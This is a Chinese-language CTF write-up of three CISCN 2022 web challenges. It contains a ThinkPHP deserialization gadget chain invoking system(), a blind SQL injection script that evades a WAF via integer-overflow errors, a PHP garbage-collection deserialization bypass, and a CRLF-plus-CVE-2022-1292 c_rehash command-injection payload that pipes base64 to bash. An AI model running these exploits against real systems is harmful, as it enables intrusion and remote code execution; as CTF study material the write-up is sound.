[CISCN 2022 初赛]ezpop
可以看到版本,那么直接上网找链子打
www.zip 查看路由,是 Index/test,然后 post 传参 a
// 保证命名空间的一致namespace think { // Model需要是抽象类 abstract class Model { // 需要用到的关键字 private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; // 初始化 public function __construct($obj='') { $this->lazySave = true; $this->data = ['whoami'=>['whoami']]; $this->exists = true; $this->table = $obj; // 触发__toString $this->withAttr = ['whoami'=>['system']]; $this->json = ['whoami']; $this->jsonAssoc = true; } }}namespace think\model { use think\Model; class Pivot extends Model { } // 实例化 $p = new Pivot(new Pivot()); echo urlencode(serialize($p));}
ezpentest
知识点:mysql8的utf8mb4_bin应用,根据溢出报错盲注,php的GC回收机制
题目给了 waf
function safe($a) { $r = preg_replace('/[\s,()#;*~\-]/','',$a); $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r); return (string)$r; }?>
利用 case when...
代替 if(...)
,利用 like
匹配 username
和 password
,如果匹配到则 9223372036854775807+1
造成溢出,然后就会报错,浏览器会返回500,根据这个就可以进行盲注,最后利用 collate'utf8mb4_bin'
判断大小写。
import requestsimport stringurl = "http://1.14.71.254:28126/login.php"list = string.ascii_letters + string.digits + '^$!_%@&'flag = ''for i in range(1,50): for j in list: if (j in '%_'):#为防止 like 把这里的 % 当做正则,所以要转义一下 j = "\\" + j payload = f"0'||case'1'when`password`collate'utf8mb4_bin'like'{flag+j}%'then+9223372036854775807+1+''else'0'end||'" data = { 'username':payload, 'password':123 } r = requests.post(url,data=data) if r.status_code == 500: flag += j print(flag) break #nssctfwabbybaboo!@$%!! #PAssw40d_Y0u3_Never_Konwn!@!!
登录后看到一大串乱码,查看源码可以看到它所用的加密。
保存网页源码后,利用工具解密。
curl http://1.14.71.254:28943/login.php --cookie "PHPSESSID=c49750cf8b201ad00e8156ed3bb3aacf" -o ./example.php
1Nd3x_Y0u_N3v3R_Kn0W.php
session_start();if(!isset($_SESSION['login'])){ die();}function Al($classname){ include $classname.".php";}if(isset($_REQUEST['a'])){ $c = $_REQUEST['a']; $o = unserialize($c); if($o === false) { die("Error Format"); }else{ spl_autoload_register('Al'); $o = unserialize($c); $raw = serialize($o); if(preg_match("/Some/i",$raw)){ throw new Error("Error"); } $o = unserialize($raw); var_dump($o); }}else { echo file_get_contents("SomeClass.php");}
SomeClass.php 源码
class A{ public $a; public $b; public function see() { $b = $this->b; $checker = new ReflectionClass(get_class($b)); if(basename($checker->getFileName()) != 'SomeClass.php'){ //获取类所在文件名字 if(isset($b->a)&&isset($b->b)){ ($b->a)($b->b.""); } } }}class B{ public $a; public $b; public function __toString() { $this->a->see(); return "1"; }}class C{ public $a; public $b; public function __toString() { $this->a->read(); return "lock lock read!"; }}class D{ public $a; public $b; public function read() { $this->b->learn(); }}class E{ public $a; public $b; public function __invoke() { $this->a = $this->b." Powered by PHP"; } public function __destruct(){ //eval($this->a); ??? 吓得我赶紧把后门注释了 //echo "???"; die($this->a); }}class F{ public $a; public $b; public function __call($t1,$t2) { $s1 = $this->b; $s1(); }}?>
链子很好构造
E::__destruct => B::__toString => A::see
但是直接序列化打,是肯定打不通的,为啥呢?
首先在 1Nd3x_Y0u_N3v3R_Kn0W.php
中,是不包含 SomeClass.php
里面的类的,怎么包含呢?
可以利用 spl_autoload_register('Al');
自动加载类,但是在后面有过滤,字符串中补不能有 Some
,也就是说我们要在 if
判断前销毁我们的反序列化对象以此提前调用 __destruct
,也就是常说的 php
的 GC
回收机制。
这边就不详细讲了,想详细了解的移步:https://www.jb51.net/article/242682.htm
简单解释就是,用一个指针指向这个对象,之后在把这个指针指向其他地方,这样这个对象,就没有任何引用和指向,就会销毁,从而调用 __destruct
$o = unserialize($c);$raw = serialize($o);if(preg_match("/Some/i",$raw)){ throw new Error("Error"); }
payload:
class A{ public $a; public $b;}class B{ public $a; public $b;}class E{ public $a; public $b;}class SomeClass{ public $a;}$e = new E();$b = new B();$a = new A();$flag = new error();$flag->a = "system";$flag->b = "cat /nssctfflag";$a->b = $flag;$b->a = $a;$e->a = $b;$c = new SomeClass();$c->a = $e;echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
online_crt
知识点:CVE-2022-1292,代码审计
分析
/getcrt 路由,生成 crt
证书
@app.route('/getcrt', methods=['GET', 'POST'])def upload(): Country = request.form.get("Country", "CN") Province = request.form.get("Province", "a") City = request.form.get("City", "a") OrganizationalName = request.form.get("OrganizationalName", "a") CommonName = request.form.get("CommonName", "a") EmailAddress = request.form.get("EmailAddress", "a") return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
/proxy 路由,请求头是可以控制的,也就是 CRLF,可以看到利用这个路由可以访问到内网 8887 端口,
@app.route('/proxy', methods=['GET'])def proxy(): uri = request.form.get("uri", "/") client = socket.socket() client.connect(('localhost', 8887)) msg = f'''GET {uri} HTTP/1.1Host: test_api_hostUser-Agent: GuestAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close''' client.send(msg.encode()) data = client.recv(2048) client.close() return data.decode()
然后我们再看 go
服务,可以看到 go
跑在 8887
端口上,且在 admin
函数中可以改名字,那么我们是不是可以访问 8887
端口的 /admin/rename
路由,以此调用 admin
函数来改我们的证书的名字。但是在这里面还有几个条件:
- Request.Host == “admin”,host 要为 admin
- Request.URL.RawPath !=“”,也就是路径有编码,可以把
/
改为%2f
func admin(c *gin.Context) {staticPath := "/app/static/crt/"oldname := c.DefaultQuery("oldname", "")newname := c.DefaultQuery("newname", "")if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {c.String(500, "error")return}if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {err := os.Rename(staticPath+oldname, staticPath+newname)if err != nil {return}c.String(200, newname)return}c.String(200, "no")}......func main() {router := gin.Default()router.GET("/", index)router.GET("/admin/rename", admin)if err := router.Run(":8887"); err != nil {panic(err)}}
那么能改证书的名字有什么用呢?这时候就是 /createlink
路由下的 info
函数,调用 c_rehash
获取证书的名字来 RCE
@app.route('/createlink', methods=['GET'])def info(): json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()} # c_rehash 作用是让openssl在证书目录中能够找到证书。 return json.dumps(json_data)
步骤
首先:在 /proxy 路由中以 post 传 CRLF 的值。(注意 go 服务中的条件)
因为要post 传参,所以要加一个 Content-Type: application/x-www-form-urlencoded
payload:
/admin%252frename%3Foldname%3Dfd3d9ea7-7dd2-43e3-b6b3-f1fdd39c72ef.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AConnection%3A%20close%0D%0A%0D%0A
然后访问 /createlink
执行命令
最后访问 /static/crt/flag.txt
,获取 flag
reference
https://haoami.github.io/2022/07/24/2022-7-24-CISCN%202022%E5%88%9D%E8%B5%9B/https://blog.csdn.net/qq_62078839/article/details/125144431
来源地址:https://blog.csdn.net/shinygod/article/details/127866492